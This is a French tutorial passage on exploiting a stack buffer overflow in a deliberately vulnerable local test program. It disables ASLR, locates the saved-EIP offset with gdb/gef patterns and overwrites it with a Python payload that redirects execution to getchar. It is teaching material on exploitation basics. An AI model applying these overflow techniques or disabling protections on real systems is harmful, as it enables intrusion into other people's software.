Passons à la pratique! Première phase de l'exploitation Nous allons desormais nous appuyer sur le programme précédement vu afin de l'exploiter Pour commencer on va désactiver l'ASLR avec cette commande: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space *ASLR: protection qui va rendre aléatoire certains espace d'adressage On a vu plus tôt comment le programme fonctionnait en lui donnant quelques "A" Maintenant voyons voir ce qu'il se passe lorsque nous lui en donnons plus que prévu $ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA �� Segmentation fault (core dumped) $ On reçoit un beau segmentation fault (le programme a tout simplement tenté d'acceder à l'adresse 0x41414141, donc nos "A") Maintenant jettons un petit coup d'oeil à notre stack: 0xbfff0000: 41 41 41 41 0xbfff0004: 41 41 41 41 0xbfff0008: 41 41 41 00 ... 0xbfff0020: 41 41 41 41 <- sEBP 0xbfff0024: 41 41 41 41 <- sEIP On vient tout simplement d'overwrite notre sauvegarde d'EIP La vulnérabilité se trouve ici: // vuln() char buffer[32]; read(0, buffer, 128); On va lire 128 caracteres du stdin pour en mettre seulement 32 dans la variable buffer, donc logiquement si on entre plus que 32 caractere on va overwrite toutes les addresses qui suivent Bon, c'est bien beau d'overwrite la sauvegarde de notre return instruction pointer avec des "A" mais maintenant comment va réagir le programme si nous remplacons ces "A" (plus précisément les "A" qui se trouve dans notre sauvegarde d'EIP) par une adresse valide? Une fonction par exemple :) Je vais pour ce premier exemple utilser la fonction getchar qui va comme read attendre une entrée utilisateur Récuperation de l'offset Pour pouvoir remplacer nos "A" par une adresse valide nous devons d'abord trouver le nombre de "A" à parcourir avant d'arriver à la sauvegarde d'EIP, notre "offset", il existe plusieurs méthodes pour pouvoir faire ça, je vais citer ici la plus simple, ça consiste simplement à envoyer un "pattern" au programme, puis voir où le programme plante, pour faire ça je vais utiliser gdb (debugger de GNU) avec l'extension gef Je vais donc lancer gdb sur notre programme vuln $ gdb vuln Reading symbols from vuln... (No debugging symbols found in vuln) GEF for linux ready, type `gef' to start, `gef config' to configure 78 commands loaded for GDB 8.3 using Python engine 3.7 gef➤ On va donc commencer par générer notre pattern avec la commande pattern create gef➤ pattern c 100 [+] Generating a pattern of 100 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa [+] Saved as '$_gef0' gef➤ On va ensuite lancer le programme puis lui envoyer notre pattern avec la commande run gef➤ r Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabl # notre jolie pattern généré plus haut aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab Program received signal SIGSEGV, Segmentation fault. 0x6161616c in ?? () ... Donc on voit bien que le programme plante car il tente d'acceder à l'adresse 0x6161616c, qui est en réalité: "laaa" (suite de caractere unique dans notre pattern) Maintenant on va utiliser la commande pattern search pour pouvoir trouver notre offset gef➤ pattern s 0x6161616c [+] Searching '0x6161616c' [+] Found at offset 44 (little-endian search) likely # [+] Found at offset 41 (big-endian search) gef➤ Et voila on vient de trouver notre offset! Il nous faudra donc parcourir 44 "A" avant de tomber sur notre sauvegarde d'EIP Maintenant pour en être sûr, on va envoyer au programme 44 "A" suivi de 4 "B" gef➤ r < <(python -c 'print "A"*44+"B"*4') # On automatise ce processus avec python Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "A"*44+"B"*4') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB @�� Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () ... Voila, on voit bien que le programme crash car il tente d'acceder à l'adresse 0x42424242 qui sont en réalité nos "B" en hexa' Hijack de notre sauvegarde d'EIP Maintenant on va juste modifier nos "B" par une adresse existante, comme je l'ai cité plus haut, je vais choisir la fonction getchar (de la librairie stdio que l'on load dans notre programme) Pour récupérer l'adresse de cette fonction je vais tout simplement avec gdb taper la commande info address getchar gef➤ info address getchar Symbol "getchar" is at 0xf7e33820 in a file compiled without debugging. gef➤ Pour ma part l'addresse de getchar est 0xf7e33820, on va donc mettre ça en little endian (qui est le format utiliser en i386) ce qui nous donne 0x2038e3f7 en envera donc la str "\x20\x38\xe3\xf7" grace à python On va donc essayer: gef➤ r < <(python -c 'print "A"*44+"\x20\x38\xe3\xf7"') Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "A"*44+"\x20\x38\xe3\xf7"') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 8�� izeiuheiuzhizhf # la fonction getchar s'execute ... On remarque donc que la fonction getchar a bien été appelé, tout marche comme prévu :p